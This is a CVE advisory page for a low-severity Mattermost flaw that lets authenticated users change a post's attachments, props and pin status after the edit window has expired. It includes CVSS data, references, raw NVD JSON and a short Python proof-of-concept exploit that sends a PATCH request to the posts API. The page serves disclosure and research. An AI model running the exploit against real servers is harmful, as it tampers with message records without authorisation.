CVE-2026-4053

Description

Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13 fail to enforce the PostEditTimeLimit on non-message post fields which allows an authenticated user to modify post file attachments, props, and pin status after the edit window has expired via the post patch and update API endpoints.. Mattermost Advisory ID: MMSA-2026-00631

CVSS Details

CVSS Score

3.1

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Mattermost 11.5.x <= 11.5.1

Mattermost 10.11.x <= 10.11.13

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target Mattermost instance URL
TARGET_URL = "https://mattermost.example.com"
API_ENDPOINT = f"{TARGET_URL}/api/v4/posts/{{post_id}}"
# Authenticated session token
AUTH_TOKEN = "YOUR_SESSION_TOKEN"

headers = {
    "Authorization": f"Bearer {AUTH_TOKEN}",
    "Content-Type": "application/json"
}

# Payload to bypass PostEditTimeLimit
# Modifying metadata (props, file_ids, pin status) instead of message
payload = {
    "is_pinned": True,  # Change pin status
    "props": {
        "custom_key": "bypassed_value" # Modify props
    },
    "file_ids": ["new_file_id"] # Modify file attachments
}

def exploit(post_id):
    """
    Attempts to update post metadata bypassing the edit time limit.
    """
    print(f"[*] Attempting to exploit post {post_id}...")
    response = requests.patch(API_ENDPOINT.format(post_id=post_id), json=payload, headers=headers)
    
    if response.status_code == 200:
        print(f"[+] Successfully modified post {post_id} after edit window expired.")
        print(f"Response: {response.json()}")
    else:
        print(f"[-] Failed to modify post. Status: {response.status_code}")
        print(f"Response: {response.text}")

# Usage example:
# exploit("POST_ID_HERE")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4053
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4053
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4053/
[4] VulDB https://vuldb.com/cve/CVE-2026-4053
[5] https://mattermost.com/security-updates

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4053", "sourceIdentifier": "[email protected]", "published": "2026-05-15T19:17:04.670", "lastModified": "2026-05-15T19:17:04.670", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13 fail to enforce the PostEditTimeLimit on non-message post fields which allows an authenticated user to modify post file attachments, props, and pin status after the edit window has expired via the post patch and update API endpoints.. Mattermost Advisory ID: MMSA-2026-00631"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-672"}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]"}]}}